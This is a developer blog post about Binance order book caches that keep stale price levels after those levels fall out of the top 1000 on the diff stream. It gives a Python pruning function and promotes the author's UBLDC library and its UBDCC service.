Thank you for reading, and happy coding! ¯\_(ツ)_/¯

I am not talking about reconnect logic, sequence gaps, or the well-known initial-snapshot race condition. Those are documented and most libraries handle them. I am talking about a class of stale entries that accumulate silently in your depth cache because Binance never tells you they should be gone.

Update / follow-up: I later ran a 25-hour forensic benchmark to measure this failure mode with two DepthCache implementations running side by side on the same BTCUSDT WebSocket stream.

The full benchmark, interactive 3D charts, raw audit data, and GitHub repository are here:

Your Binance DepthCache is rotting — here's the proof in 25 hours

This came up while I was maintaining UNICORN Binance Local Depth Cache (UBLDC). A user reported unbounded growth in their order book — and when I investigated, it turned out to be a gap in Binance's own synchronization spec, not a library bug. The fix was straightforward, but it is not in Binance's documentation, and I have not seen it handled in any other library.

How a depth cache is supposed to work

This is Binance's official algorithm, documented in "How to manage a local order book correctly". Quick refresher for people who have not built one:

1. You open a WebSocket stream for diff updates (@depth).

2. You request a REST snapshot of the current order book.

3. You discard any updates whose sequence number is older than the snapshot.

4. You apply the remaining updates to the snapshot in order.

5. From now on, every diff update arrives in real time and you mutate your local copy.

A diff update is a list of price levels. For each level you receive a price and a quantity. If the quantity is 0, the level is gone — you delete it from your book. Otherwise you set the quantity for that price level.

That is the whole protocol. Snapshot, apply diffs, handle the 0-quantity delete event. Done.

Except it is not done.

The part Binance does not tell you

Binance's depth snapshots cover the top 1000 price levels on each side. The diff stream sends you updates for any level that changes — but only for levels that are currently in the top 1000.

The moment a price level drops out of the top 1000 because more aggressive activity pushes it down, Binance stops sending updates for that level. Not just stops — never sends another update again, including no 0-quantity delete event.

If you followed the documented protocol, that level stays in your local copy forever. Your bid book still claims there is meaningful resting size at a price that has not been part of the real order book for hours, days, weeks — however long your process has been running.

These are what I call orphaned entries. Ghost orders. Levels that exist only in your memory, with no representation on the actual exchange.

Why this is easy to miss

A few reasons this stays invisible long enough to ship into production:

It does not break anything obvious. Your top-of-book is fine because the top-of-book gets updated most aggressively. If you only ever read asks[0] and bids[0], you will never notice. The corruption builds up at the edges of the book where you stop looking.

The numbers look plausible. A stale ask at $63,247.50 with 0.4 BTC quantity is a perfectly reasonable-looking number. Nothing about it screams "I am a fossil from three hours ago." A volume aggregator summing quantities will return larger numbers than reality, but it will not return obviously wrong numbers.

Spot-checking against the REST snapshot does not catch it. If you periodically pull a fresh snapshot and compare, you will see differences — but you will attribute them to the snapshot being a different moment in time. That is plausible. The actual cause — that levels have silently fallen off your stream — is not an obvious hypothesis.

Documented behavior matches buggy behavior. Binance's documentation describes how to apply diff updates. It does not warn you that a level that disappears from the top 1000 will never be corrected. So if you followed the docs to the letter, your code looks correct against the spec. The spec is just incomplete.

How this was found

A user reported that their asks and bids lists were growing without any bound. Starting at around 1000 entries, the count kept climbing — slowly but monotonically. After 15 minutes, already noticeably above 1000. After hours, thousands of levels on each side with no churn at the bottom of the book.

At first glance it looked like a library bug. But when I dug into it, I realized the library was doing exactly what Binance's documentation says to do. The problem was upstream — in the spec itself.

I went back to the Binance documentation. There was no mention of bottom-of-book eviction. I tested it: created a cache, waited for active levels to roll off the top 1000, and watched whether any correction arrived for a known stale level. Nothing. The level was orphaned, and Binance had no mechanism to tell the client about it.

That was the moment it stopped being "there might be a bug in the apply-diff logic" and became "Binance's documented protocol is incomplete, and every implementation that follows it strictly is accumulating ghost entries."

The fix

The fix is conceptually simple: prune everything beyond the top 1000 levels.

UBLDC does this in _clear_orphaned_depthcache_items(). After processing a depth update, the cache is sorted by price (descending for bids, ascending for asks) and anything past position 1000 is deleted.

def _clear_orphaned_depthcache_items(self, market, side, limit_count=1000):
    reverse = (side == "bids")
    sorted_items = [
        [price, float(quantity)]
        for price, quantity
        in list(self.depth_caches[market][side].items())
    ]
    orphaned_items = sorted(
        sorted_items, key=itemgetter(0), reverse=reverse
    )[limit_count:]
    for item in orphaned_items:
        del self.depth_caches[market][side][str(item[0])]

The reasoning:

• Anything Binance still cares about will be inside the top 1000 and will keep getting diff updates.

• Anything outside the top 1000 is, by Binance's own definition, not part of the snapshot you would get if you re-pulled right now.

• So evicting it is correct: it brings your local copy into the same consistency window Binance guarantees.

The cost is one sort per update per side. For 1000 entries on a hot pair this is microseconds. UBLDC absorbs it inside the WebSocket event loop with no measurable impact on throughput.

Why this matters even if you "only need top of book"

Memory growth is real. A long-lived process accumulating thousands of dead price levels per market per side, across hundreds of markets, becomes a real memory cost. Not a leak in the technical sense, but unbounded growth that nothing in Binance's protocol will stop.

Volume-based queries break. If you ever ask "what is the total bid volume below this price" or "what price level holds the next $1M of asks", stale entries are polluting your answer. Market depth charts will be subtly wrong in ways that compound the longer the process runs.

Book-shape logic breaks. Anything that compares against book width, density, or the relationship between price levels is reading partly from a fossil record. Strategies that look at order book shape — common in market-making and liquidity-provision — will be making decisions based on data that is half real and half archaeological.

What to do about it

You have three options, depending on what you are building:

1. Prune yourself. Periodically take the lowest-priced bids and highest-priced asks beyond the depth you care about and remove them. Six lines of Python. Works with any library.

2. Use UBLDC in your Python project. UNICORN Binance Local Depth Cache handles this plus reconnect logic, sequence validation, multi-market management, and automatic resync on gap detection. MIT licensed, 220K+ PyPI downloads.

3. Use UBDCC if you want it as a service. This is the option I would recommend if you are not married to a specific language or if you run multiple bots. UNICORN DepthCache Cluster runs UBLDC as a background service and exposes order book data via REST API — accessible from Python, Node.js, Go, Rust, or anything that speaks HTTP:

pip install ubdcc
ubdcc start

That gives you a local REST API where any process can query consistent, pruned, auto-recovering order book data. No WebSocket management, no orphaned entries, no initialization wait on restart. Your bots connect to the service; the service handles the hard parts.

Either way, do not rely on the Binance diff stream alone to keep your book consistent past the active edge. The protocol does not guarantee what most documentation implies.

If you want the architectural reasoning behind running this as shared infrastructure instead of embedding it inside every bot, I wrote that up here: Why Your Binance Order Book Should Not Live Inside Your Bot

And if you just want to try the cluster directly, start here: From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart

Why I wrote this

Since fixing this, I have seen the same question come up in different forms — "why does my depth cache use so much memory after a few hours?", "why is my book deeper than the REST snapshot?", "why are there bids at prices that haven't been seen in days?" I would rather link to one explanation than retype it.

This is the kind of finding that does not have a CVSS score and will not get a Binance changelog entry. It is a gap between "what the docs say" and "what actually happens at the protocol level", and the only way it gets fixed in the wider ecosystem is by being written down with code.

UNICORN Binance Local Depth Cache — MIT, 220K+ downloads · The fix is in manager.py, function _clear_orphaned_depthcache_items().

UNICORN DepthCache Cluster — Consistent order book data as a REST service. pip install ubdcc && ubdcc start. Any language, any number of clients.

Suggested reading path:

• Why Binance order books silently go wrong

• Why the order book should not live inside your bot

• How to run UBDCC locally in minutes

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯